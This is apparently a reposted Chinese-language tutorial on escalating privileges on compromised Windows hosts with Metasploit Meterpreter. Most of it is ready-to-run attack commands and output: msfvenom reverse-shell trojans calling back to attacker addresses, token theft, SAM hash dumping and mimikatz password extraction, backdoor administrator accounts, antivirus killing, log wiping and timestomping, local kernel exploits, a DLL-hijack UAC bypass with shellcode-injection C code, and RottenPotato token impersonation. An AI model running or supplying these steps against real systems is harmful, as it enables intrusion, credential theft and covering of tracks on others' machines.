Meterpreter提权详解

0x01 Meterpreter自动提权

1.生成后门程序

我们在kali的命令行下直接执行以下命令获得一个针对windows的反弹型木马:

msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.11.2 lport=4444 -f exe -o /tmp/hack.exe
这里我们为生成的木马指定了payload为:

windows/meterpreter/reverse_tcp,反弹到的监听端地址为172.16.11.2,监听端口为4444,文件输出格式为exe并保存到路径/tmp/hack.exe

 

2.执行监听

use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set LHOST 172.16.11.2

show options


Meterpreter提权详解_第1张图片

输入exploit命令开启我们配置的模块进行监听:

3.上传并执行木马

通过脚本木马上传并运行,此处假设我们通过一系列的渗透测试得到了目标机器的webshell。我们通过脚本木马的文件管理功能把我们上述生成的木马hack.exe上传成功,并且我们得知,该程序的绝对路径为:

c:\www\hack.exe
接着,我们尝试通过脚本木马的命令执行功能运行我们上述上传的的木马,

c://www//hack.exe/为避免字符转义,路径这里我们使用的是//

Meterpreter提权详解_第2张图片
 
那么在执行之后,我们看到大型脚本木马显示为请稍后的状态,我们切换到之前监听的Metasploit命令行窗口,可以看到,目标机正在回连,且Meterpreter会话创建成功:


4. Meterpreter基础提权

Meterpreter是 Metasploit 框架中的一个杀手锏,通常作为漏洞溢出后的攻击在和使用, 攻击在和在出发漏洞后能够返回给我们一个控制通道.
接下来我们使用Meterpreter会话进行自动化提权操作,直接执行以下命令,MSF会自动选择合适的方式来提升当前权限: 

getsystem

Meterpreter提权详解_第3张图片
如上返回则说明Meterpreter会话自动提权成功。
这个时候,如果我们此目标机属于某个域环境内,并且有域管理员运行的进程,我们就可以从一个指定的进程PID中窃取一个域管理员组令牌,做一些有意思的事(如:添加一个域账户,并把域账户添加到域管理员组中)。
在Meterpreter会话执行ps命令查看目标机当前进程:
假设此处看到了一个进程,运行账户是域管理员,我们可以再第一栏找到对应的进程PID,(实际我们这里找个任意的SYSTEM账户运行的进程),PID为2584:


Meterpreter提权详解_第4张图片
然后我们可以执行以下语句窃取该用户进程的令牌:

steal_token  2584


这种方式一般被用于盗取域管理员的token,然后我们执行

getuid看一下会发现当前已经冒称SYSTEM用户成功:
 

Meterpreter提权详解_第5张图片

 
既然已经是SYSTEM权限,接着我们尝试执行以下命令从SAM数据库中导出密码的哈希值: 
`注意`:在windows 2008 中,如果getsystem命令和hashdump命令抛出异常情况时,你需要迁移到一个以SYSTEM系统权限运行的进程中,我们后续介绍。 

执行以下shell命令在一个Meterpreter会话界面中使用cmd shell: 


Meterpreter提权详解_第6张图片


此cmdshell当然是继承的Meterpreter会话的system权限,我们尝试在目标机器执行以下cmd命令添加一个账户test:

net user test v5est0r /add
net localgroup administrators test /add

 Meterpreter提权详解_第7张图片


随后我们利用Meterpreter会话打开目标机器远程桌面服务的3398端口(此模块根据实践测试仅支持windows 2003的主机):

run getgui -e

Meterpreter提权详解_第8张图片


最后我们新建一个终端窗口,执行以下命令调用rdesktop连接目标机器的远程桌面:

rdesktop -u test -p v5est0r 172.16.12.2
-u:制定用户名   -p:指定密码

Meterpreter提权详解_第9张图片

0x02 溢出漏洞模块提权

 

一般来说webshell对应的web服务的权限是很低的,一般都是user权限的,但也遇到过某些服务器执行后就直接是system最高权限。像这种情况一般直接加用户。如果权限较低,我们要把它提升到system权 - Windows最高权限,黑客一般通过提权的EXP程序进行提权,我们会在后续的实验里介绍。
当然,在MSF下调用溢出漏洞模块提权也是个好办法。
缓冲区溢出:
缓冲区是用户为程序运行时在计算机中申请的一段连续的内存,它保存了给定类型的数据。缓冲区溢出指的是一种常见且危害很大的系统攻击手段,通过向程序的缓冲区写入超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其他的指令,以达到攻击的目的。更为严重的是,缓冲区溢出攻击占了远程网络攻击的绝大多数,这种攻击可以使得一个匿名的Internet用户有机会获得一台主机的部分或全部的控制权!由于这类攻击使任何人都有可能取得主机的控制权,所以它代表了一类极其严重的安全威胁


1. 调用漏洞模块


首先,请参照上述Meterpreter自动提权部分的实验内容获得目标机器的一个可用的Meterpreter会话,接着我们在Meterpreter会话输入以下命令:

background //把你当前的Meterpreter会话转为后台执行。
接着我们在MSF命令行执行以下命令搜索微软2015年的可用漏洞模块:

search ms15   // 搜索关键字相关的漏洞
如下图,我们查到了许多漏洞模块:

 

Meterpreter提权详解_第10张图片


我选择了MS15_051这个漏洞进行提权,执行以下命令:

use exploit/windows/local/ms15_051_client_copy_image
然后我们需要为此活动模块指定为哪个session进行提权操作,我们执行以下命令指定服务session为1:

set  SESSION 1  // 设置会刚才我们后门连接的ID号 1,我们这里只有一个会话,直接连接1

 

 Meterpreter提权详解_第11张图片


2. 执行溢出


接着我们直接执行以下命令调用漏洞模块进行提权操作:

exploit 

Meterpreter提权详解_第12张图片

 
根据返回信息我们可以看见没有创建新的session,并提醒当前已经被提升到了system权限。如果当前不是system权限,将会被提升到system的一个进程,并提供出进程pid.一般来说,即使提权成功,我们执行以下命令返回连接会话,但你getuid看下还是看见的还是原来的权限。

sessions -i 1
执行ps一下查看进程

 
根据刚才的提示找到上述提供的PID的进程,我们这里就随意找了一个SYSTEM权限进行的进程,PID为3240
然后我们要用到migrate命令,将当前会话进程迁移到一个指定的进程ID

migrate 3240

Meterpreter提权详解_第13张图片


如上图可见,进程迁移成功。
然后我们再执行getuid看下可以看见当前为system权限了。
Meterpreter提权详解_第14张图片

0x03 后续提权操作

1. 基本信息搜集

检测目标机是否为虚拟机。在Meterpreter会话执行以下命令即可:

run post/windows/gather/checkvm #是否虚拟机,此处判断并不准确,模块代码仍需完善
通过meterpreter的killav脚本来杀死目标主机运行的杀毒软件,在Meterpreter会话执行以下命令即可:

run killav

Meterpreter提权详解_第15张图片


看来此模块仍需完善,此处杀掉的进程是cmd。不过有时候还是有用的。
获取安装软件信息,在Meterpreter会话执行以下命令即可:

run post/windows/gather/enum_applications #获取安装软件信息

Meterpreter提权详解_第16张图片
获取目标机器最近的文件操作,在Meterpreter会话执行以下命令即可:

run post/windows/gather/dumplinks   #获取最近的文件操作

2. hash与明文密码读取

获取目标机系统用户Hash,,在Meterpreter会话执行以下命令即可:

run post/windows/gather/smart_hashdump

Running module against TESTING Hashes will be saved to the database if one is connected. Hashes will be saved in loot in JtR password file format to:/home/croxy/.msf4/loot/20150929225044_default_10.0.2.15_windows.hashes_407551.txt Dumping password hashes... Running as SYSTEM extracting hashes from registry     Obtaining the boot key...     Calculating the hboot key using SYSKEY 8c2c8d96e92a8ccfc407a1ca48531239...     Obtaining the user list and keys...     Decrypting user keys...     Dumping password hints...
[+]     Croxy:"Whoareyou"     Dumping password hashes...
[+]     Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::  
[+]     HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:e3f0347f8b369cac49e62a18e34834c0:::
[+]     test:1003:aad3b435b51404eeaad3b435b51404ee:0687211d2894295829686a18ae83c56d:::
如上我们获得了本地账户的hask,获取明文密码,我们需要先载入mimikatz模块,在Meterpreter会话执行以下命令即可:

load mimikatz
然后需要确保当前进程为系统权限,直接执行以下命令:

msv

Meterpreter提权详解_第17张图片


如上图,返回了以下信息:

[+] Running as SYSTEM Retrieving msv credentials  
上述返回信息表明当前进程是`SYSTEM`权限.
然后执行以下命令即可导出系统用户明文密码:

kerberos
如下图,成功导出了明文密码,test用户密文为v5est0r:

Meterpreter提权详解_第18张图片
执行以下命令通过mimikatz命令行方式导出系统用户hash:

meterpreter > mimikatz_command -f samdump::hashes


Meterpreter提权详解_第19张图片
执行以下命令通过`mimikatz`命令行方式导出系统用户的明文密码:

mimikatz_command -f sekurlsa::searchPasswords

Meterpreter提权详解_第20张图片 

3. 清理痕迹

直接执行以下命令:

clearev
可以看到如下返回:

meterpreter > clearev 

Meterpreter提权详解_第21张图片
可以看到该模块正在从应用、系统、安全模块三个方面清理历史记录痕迹。
其实MSF还提供了timestomp功能模块还修改文件时间,但实战测试中意义并不大,我们在这里只做科普:

meterpreter >timestomp c:\\www -c "09/09/1980 12:12:34"   修改文件创建时间
meterpreter > timestomp c:\\jzking121.txt -m "01/01/1991 12:12:34"  修改文件修改时间
meterpreter > timestomp c:\\jzking121.txt -f c:\\RHDSetup.log 讲文件RHDSetup.log属性复制到jzking121
实际测试使用偶尔有报错,可以登入服务器手工改文件时间。

 

0x04 AlwaysInstallElevated提权

1.生成MSI安装文件

假设我们拿到Meterpreter会话后并没能通过一些常规方式取得SYSTEM权限,AlwaysInstallElevated提权可能会为我们带来一点希望。
AlwaysInstallElevated是微软允许非授权用户以SYSTEM权限运行安装文件(MSI)的一种设置。然而,给予用于这种权利会存在一定的安全隐患,因为如果这样做下面两个注册表的值会被置为"1":

[HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer]
"AlwaysInstallElevated"=dword:00000001 
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]
"AlwaysInstallElevated"=dword:00000001
想查询这两个键值最简单的方法就是使用CMD命令,我们先在Meterpreter会话下执行shell切换`cmdshell:
在cmdshell下分别执行以下命令可以查询上述的注册表键值:

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

 
我们这里的查询是报错的。
注意:如果这条命令出错类似于:The system was unable to find the specified registry key or value或者:错误: 系统找不到指定的注册表项或值。
这可能是组策略里AlwaysInstallElevated没有被定义,因此不存在相关联的注册表项。
现在我们假设AlwaysInstallElevated已经启用了,我们可以利用msfvenom工具来生成一个在目标机器上增加管理员用户的MSI安装文件:

msfvenom -p windows/adduser USER=msi PASS=P@ssword123! -f msi -o /tmp/add.msi
//此处指定了添加的用户,用户名为msi,密码为:P@ssword123!


Meterpreter提权详解_第22张图片

如上图返回,MSI文件已经成功生成到了/tmp/add.msi

2.执行MSI文件提权

接着我们把该安装文件上传到目标机的c:\\add.msi:
执行以下命令即可:

upload /tmp/add.msi  c:\\add.msi

Meterpreter提权详解_第23张图片 
当我们在目标机器上成功上传了新生成的MSI文件后,我们可以使用Windows命令行Msiexec工具进行安装(需要先执行shell命令切换`cmdshell):

shell
msiexec /quiet /qn /i c:\add.msi

Meterpreter提权详解_第24张图片
msiexec相关参数解释如下:

/quiet:安装过程中禁止向用户发送消息
/qn:不使用GUI
/i:安装程序
执行后,我们可以在目标机器上检测我们新创建的管理员用户,cmdshell下执行以下命令查看管理组用户列表:

net localgroup administrators

Meterpreter提权详解_第25张图片

 
如上,我们很幸运的发现,msi用户名存在于管理组列表
注意:使用msvenom创建MSI文件时使用了always_install_elevated模块,那么在安装过程中会失败。这是因为操作系统会阻止未注册的安装。
接着执行以下命令登录目标机器的远程桌面服务:

rdesktop -u msi -p P@ssword123! 172.16.12.2

 
如果目标机没有开启远程桌面服务,可以再cmdshell下执行以下命令以开启:

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

0x05 利用MS16-016进行meterprter提权

在WEB渗透中当我们拿到webshell了,我们可以试试用MSF(metasploit)来进行提权,在MSF里meterpreter很强大的!我们先用msfvenom生成一个EXE的木马后门。

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b '\x00' LHOST=192.168.1.7 LPORT=4444 -f exe > abc.exe

 

到MSF根据刚才配置的木马后门进行监听...

Meterpreter提权详解_第26张图片

 

再把木马上传到服务器(受害者)的机器里,必须上传到可读可写的目录下哦,

Meterpreter提权详解_第27张图片

比如这里我吧abc.exe上传到了C:\users\leak\desktop\目录下,abc.exe就是我刚才生成的后门。

Meterpreter提权详解_第28张图片

然后执行我们的后门,可以看见MSF弹回了一个session 1(会话连接)。

说明我们后门程序成功执行起来了,当然你也可以在webshell执行的,

但必须的有一点执行的权限哦。

Meterpreter提权详解_第29张图片

 

getuid //可以看见我们的权限很低的,一般都是user权限的,

但也遇到过某些服务器执行后就直接是system最高权限。像这种我们就直接加用户啦。这里我们是user权限,我们要把它提升到system权限。Windows最高权限。

 

接着我们输入命令:

background     //把你当前的metasploit shell转为后台执行。

search ms16  // 搜索关键字相关的漏洞

use exploit/windows/local/ms16_016_webdav // 选择MS16-016漏洞在进行提权Meterpreter提权详解_第30张图片

 

show options  //查看漏洞里边要设置的参数,可以看见只有一个SESSION参数要设置 

Meterpreter提权详解_第31张图片

 

set  SESSION 1 // 设置会刚才我们后门连接的ID号 1

exploit //执行提权...

Meterpreter提权详解_第32张图片

可以看见成功的吧漏洞利用到了PID为692的进程中,虽然提权成功了,但getuid下还是看见的是user权限

ps一下查看进程

Meterpreter提权详解_第33张图片

根据刚才的提示找到PID 692的进程,可以看见确实是system权限,所以我们还要用到migrate 命令迁移到一个指定的进程ID

migrate 692  //在getuid下可以看见为system权限提权成功了

Meterpreter提权详解_第34张图片

 

Meterpreter提权详解_第35张图片

既然有了system权限 那我们在添加账号hack,添加为管理员组

用Nmap扫下并没有开启远程登陆3389

Meterpreter提权详解_第36张图片

 

run getgui -e  //开启目标主机3389  貌似这条MSF命令只对2003的系统有效执行几次都没成功 ,所以就用cmd命令开了3389端口

Meterpreter提权详解_第37张图片

Meterpreter提权详解_第38张图片

 

 

0x06 利用uac进行mterprter提权

1.背景

UAC(User Account Control,用户帐户控制)是微软为提高系统安全而在Windows Vista中引入的新技术,它要求用户在执行可能会影响计算机运行的操作或执行更改影响其他用户的设置的操作之前,提供权限或管理员‌密码。也就是说一旦用户允许启动的应用程序通过UAC验证,那么这个程序也就有了管理员权限。如果我们通过某种方式劫持了通过用户UAC验证的程序,那么相应的我们的程序也就实现了提权的过程。

2.提权过程概述

首先我们找到目标程序,查找其动态加载的dll文件然后将其替换掉,插入我们包含shellcode的dll文件,这样用户在安装此文件的时候就会调用我们的dll文件,并执行我们的shellcode代码。同时为了防止程序崩掉导致我们的代码退出,采用注入的方式保证shellcode的稳定执行。在此过程中,如果目标程序请求UAC权限,对于用户来说这是一个正常的安装文件,一旦通过UAC验证,相应我们的shellcode也完成了提权过程。替换安装包dll文件这种行为太过于敏感,其实最后实现的方式是找到目标程序需要加载的,并且当前目录又不存在的需要联网下载的dll文件,我们只需要在该目录下放一个同名dll文件即可。

3.实验环境

1.Kali Debian7:
Kali集成Metasploit等漏洞利用工具,方便提取shellcode和反弹TCP连接。最好安装一个Mingw-w64用于编译c代码。

2.windows7 x64:
主要的目标测试环境

3.Procmon.exe
Procmon是微软出的一款强大的Windows监视工具,不但可以监视进程/线程,还可以监控到文件系统,注册表的变化等

4.install_flashplayer15x32_mssd_aaa_aih:
这里我们以flashplayer安装文件作为目标文件,版本为15x32_mssd_aaa_aih,可自行下载,或者从最后的打包附件中找到

4.详细提权过程

(1)查找可劫持的dll文件

首先我们在win7系统下先打开procmon监控软件,清除一下日志信息,然后运行我们的目标文件install_flashplayer15x32_mssd_aaa_aih,运行过后会弹出UAC选项,需要用户确认授权。
Meterpreter提权详解_第39张图片

这里我们点“是”,然后安装包开始安装并自删除,并从服务器下载所需的文件,这时候就可以关掉了,因为我们只需要看该软件包都加载了哪些dll文件。

看下Procmon.exe记录所有行为
Meterpreter提权详解_第40张图片

信息量太大,我们需要过滤出有用的信息。

首先是只看我们目标进程的信息,添加过滤规则:Process Name is install_flashplayer15x32_mssd_aaa_aih,然后是过滤掉加载系统的dll文件,只看安装包当前目录下加载的dll文件,我这里安装包存放在dllhijack文件夹下,添加过滤规则:

Path contains dllhijack

并且该加载dll不存在,需要联网从服务器下载,最后再添加一个过滤规则:

Result is NAME NOT FOUND

三个过滤规则如下所示:

经过三个规则过滤后,留下的信息就很明显了,如下图所示:
Meterpreter提权详解_第41张图片

上边所列的dll文件都是会尝试加载,并且找不到,会联网进行下载的dll文件,因此,我们的目标就是劫持这些dll文件,也不需要替换,直接将我们的dll文件放在安装包同目录即可,这也是为什么选择这个安装程序测试的原因。如果选择其他安装包测试的,最好也是选择这种联网安装类型的,所有文件都从服务器拉取,如果安装程序没有对这些从服务器拉取的文件进行效验,就能够被劫持。

(2)编写exploit

找到劫持了dll文件后,我们进入Debian系统用msf生成shellcode,这里我们选择反弹tcp的shellcode,需要知道服务器ip地址和监听端口,这里也选择Debian系统作为服务器,ifconfig查看下ip,设置监听端口为9000,最后执行如下命令生成shellcode:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.127.133 LPORT=9000 -f c

Meterpreter提权详解_第42张图片

为了防止程序挂掉或者退出导致shellcode也跟着退出,采用注入的方式,将shellcode注入rundll32.exe进程,然后连接远程端口。服务器监听该端口,一旦有请求就建立会话连接,注入关键代码:

if (CreateProcess(0, "rundll32.exe", 0, 0, 0, CREATE_SUSPENDED | IDLE_PRIORITY_CLASS, 0, 0, &si, &pi)) {
            ctx.ContextFlags = CONTEXT_INTEGER | CONTEXT_CONTROL;
            GetThreadContext(pi.hThread, &ctx);

            ep = (LPVOID)VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

            WriteProcessMemory(pi.hProcess, (PVOID)ep, &code, SCSIZE, 0);

            #ifdef _WIN64
                                     ctx.Rip = (DWORD64)ep;
            #else
                                     ctx.Eip = (DWORD)ep;
            #endif

            SetThreadContext(pi.hThread, &ctx);

            ResumeThread(pi.hThread);
            CloseHandle(pi.hThread);
            CloseHandle(pi.hProcess);
}

最后将程序编译,这里编译直接在Debian系统下用Mingw-w64编译,命令入下:

root@idhyt:~/maldemo# i686-w64-mingw32-gcc template.c -o template.dll –shared

root@idhyt:~/maldemo# file template.dll

template.dll: PE32 executable (DLL) (console) Intel 80386, for MS Windows

将编译好的template.dll拷贝到win7系统中备用。
debian系统设置服务器并监听9000端口,所有命令如下:
Meterpreter提权详解_第43张图片

(3)提权

将编译的template.dll文件放在install_flashplayer15x32_mssd_aaa_aih目录下,从我们监控到的可劫持dll文件中选择一个,这里我选择dhcpcsv6.dll。将我们的dll文件改名为dhcpcsvc6.dll,其他dll文件可自行尝试。之后重新运行安装包,弹出UAC选项后点“是”之后我们在debian系统的服务端会看到我们已经监听到了这个端口,看下会话信息:

查看下当前uid,然后执行getsystem命令权限:
Meterpreter提权详解_第44张图片

 

0x07 利用MS16-075提权

1.渗透环境

对某站进行一次渗透测试.拿到shell之后呢,权限蛮小的.但是可以执行一些命令.systeminfo瞅了瞅补丁列表,丢到exp查询看了下,发现可以利用烂土豆提权成功,别的都利用失败了。这里就记录下烂土豆的用法.
靶机:windows server 2008 IIS7.5     外网kali
利用工具:caidao+msf+rottenpotato.exe(MS16-075)
提权辅助查询:传送门

菜刀来看下权限:

Meterpreter提权详解_第45张图片

2.生成木马,建立meterpreter会话

并不是system权限,这里我们要利用到msf,先生成一个木马,来获取sessions
生成了一个test.exe

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 LHOST=120.*.*.* LPORT=12344 -f exe > ./test.exe  

这时候要用到菜刀或者大马:

菜刀>>上传>>执行>>test.exe
可能这时候有人会问我.都可以执行exe,直接上远控马不就行了么.我试过上远控马是不能上线的.(没测试低权限远控马),执行之后msf返回了一个seeions

Meterpreter提权详解_第46张图片

3.窃取令牌,模仿令牌

(1)MS16-075(烂土豆):
https://github.com/foxglovesec/RottenPotato

用法:

use incognito

//这个模块是用来窃取令牌,模仿令牌的.令牌相当于cookie.

windows中有两种令牌,一中是Delegation Token,是交互式登录(比如登录进去系统或者通过远程桌面连接到系统)创建的.另一种是Impersonmate Token(模仿令牌),它是为非交互式会话创建的

(2)列出当前令牌:

list_tokens -u 

Meterpreter提权详解_第47张图片

把rottenpotato.exe利用菜刀传上来.(比较懒重名名为rp.exe)
执行exp:
execute  -cH  -f   ./rp.exe

0x08 RottenPotato(烂土豆)+Metasploit提权

1.当前环境

 靶机:Windows Server 2012 R2 

64位虚拟机,运行IIS8.0,IP地址 192.168.1.16 ,aspx的Webshell,权限是"nt authority\network service",web目录可写可执行,无杀软。
  攻击机:win7.
  工具:metasploit,rottenpotato.exe(烂土豆),菜刀
 

2.靶机执行bind.exe,建立meterpreter会话

怎么建立meterpreter就不详细说了,这里我是msfvenom生成bind_tcp,菜刀执行之。

Meterpreter提权详解_第48张图片

即使显示fail了,可是你netstat 看一下的话,还是已经监听了4444端口,这就表示成功了:

 

使用multi  handler:

msf>use exploit/multi/handler

image
设置payload:
msf>set payload windows/x64/meterpreter/bind_tcp

image

设置目标主机:

set rhost 192.168.1.16

然后run运行获得meterpreter会话:

Meterpreter提权详解_第49张图片

3.使用RottenPotato 窃取system 令牌并模仿

1.先getuid看看自己的当前id,可以看到只是network服务

image

2.然后加载窃取令牌模块:

use incognito  //这个模块是用来窃取令牌、模仿令牌的。令牌就相当于Cookie。Windows中有两种令牌,一种是Delegation Token,是为交互式登录(比如登录进系统或者通过远程桌面连接到系统)创建的。另一种是Impersonmate Token(模仿令牌),它是为非交互式会话创建的。

3.列出当前令牌:

list_tokens -u //可以看到当前有一个“代表令牌”,是自己的NT AUTHORITY\NETWORK SERVICE,没有模仿令牌。

Meterpreter提权详解_第50张图片

 

4.菜刀上传rottenpotato(这里我为了少打两个字把它重命名为rp.exe):

image

5.进入自己放EXP的目录,

执行EXP:execute -cH -f ./rp.exe

image

6.再list_tokens看一下, 可以看到当前是有了一个SYSTEM权限的 模仿令牌

Meterpreter提权详解_第51张图片

7.执行偷取窃取令牌命令:

impersonate_token "NT AUTHORITY\\SYSTEM"

注意这里反斜线是两个。第一次执行提示没找到这个用户令牌。这个原因我估计是令牌失效了,就跟Cookie失效一样。所以再执行一次EXP,然后按↑键重复impersonate_token几次命令。可以看到第二次是成功模仿了用户"NT AUTHORITY\\SYSTEM"。

Meterpreter提权详解_第52张图片

8.getuid看下自己的当前用户ID,可以看到是SYSTEM 。使用shell命令获得一个交互式cmd shell,whoami看看呢,也是成功了。

image

Meterpreter提权详解_第53张图片

4.EXP原理浅析

RottenPotato(烂土豆)提权的原理可以简述如下:

1.欺骗 “NT AUTHORITY\SYSTEM”账户通过NTLM认证到我们控制的TCP终端。
2.对这个认证过程使用中间人攻击(NTLM重放),为“NT AUTHORITY\SYSTEM”账户本地协商一个安全令牌。这个过程是通过一系列的Windows API调用实现的。
3.模仿这个令牌。只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌。一般大多数的服务型账户(IIS、MSSQL等)有这个权限,大多数用户级的账户没有这个权限。

所以,一般从web拿到的webshell都是IIS服务器权限,是具有这个模仿权限的。测试过程中,我发现使用已经建好的账户(就是上面说的用户级账户)去反弹meterpreter然后再去执行EXP的时候会失败,但使用菜刀(IIS服务器权限)反弹meterpreter就会成功。

烂土豆比热土豆的优点是:
      1.100%可靠
      2.(当时)全版本通杀。
      3.立即生效,不用像hot  potato那样有时候需要等Windows更新才能使用。

总之,我对这个的理解是通过中间人攻击,将COM(NT\\SYSTEM权限)在第二部挑战应答过程中认证的区块改成自己的区块获取SYSTEM令牌,然后利用msf的模仿令牌功能模仿SYSTEM令牌。

 

0x09 metasploit下Windows的多种提权方法

1.环境要求

攻击机:kali linux

目标机:Win 7

在已经获取到一个meterpreter shell后,假如session为1,且权限不是系统权限的前提下,使用以下列出的几种提权方法:

 

2.绕过UAC进行提权

本方法主要有以下3个模块。

http://p4.qhimg.com/t0192c74cd935520c12.png

上面这些模块的详细信息在metasploit里已有介绍,这里不再多说,主要说一下使用方法。以exploit/windows/local/bypassuac模块为例

该模块在windows 32位和64位下都有效。

msf > use exploit/windows/local/bypassuac

msf exploit(bypassuac) > set session 1

msf exploit(bypassuac) > exploit

本模块执行成功后将会返回一个新的meterpreter shell,如下

Meterpreter提权详解_第54张图片

模块执行成功后,执行getuid发现还是普通权限,不要失望,继续执行getsystem,再次查看权限,成功绕过UAC,且已经是系统权限了。

其他两个模块用法和上面一样,原理有所不同,执行成功后都会返回一个新的meterpreter shell,且都需要执行getsystem获取系统权限。如下图:

Meterpreter提权详解_第55张图片

 

exploit/windows/local/bypassuac_injection

http://p8.qhimg.com/t013a78b1bc7504b1c4.png

exploit/windows/local/bypassuac_vbs

3.提高程序运行级别(runas)

这种方法可以利用exploit/windows/local/ask模块,但是该模块实际上只是以高权限重启一个返回式shellcode,并没有绕过UAC,会触发系统UAC,受害机器有提示,提示用户是否要运行,如果用户选择“yes”,就可以程序返回一个高权限meterpreter shell(需要执行getsystem)。如下:

Meterpreter提权详解_第56张图片

在受害机器上会弹出UAC,提示用户是否运行。如下:

http://p4.qhimg.com/t01d6a0ff1e33c4ee84.png

4.利用windows提权漏洞进行提权

可以利用metasploit下已有的提权漏洞,如ms13_053,ms14_058,ms16_016,ms16_032等。下面以ms14_058为例。

msf > exploit/windows/local/ms14_058_track_popup_menu

msf exploit(ms14_058_track_popup_menu) > set session 1

msf exploit(ms14_058_track_popup_menu) > exploit

http://p6.qhimg.com/t018177e4ef33aa9634.png

用windows提权漏洞提权时,会直接返回高权限meterpreter shell,不需要再执行getsystem命令。

需要说明的是:在实际测试时,如果出现目标机器确实有漏洞,但是提权没有成功时,请确认你的TARGET和PAYLOAD是否设置正确,64位的系统最好用64位的PAYLOAD。

 

 

你可能感兴趣的:(Meterpreter)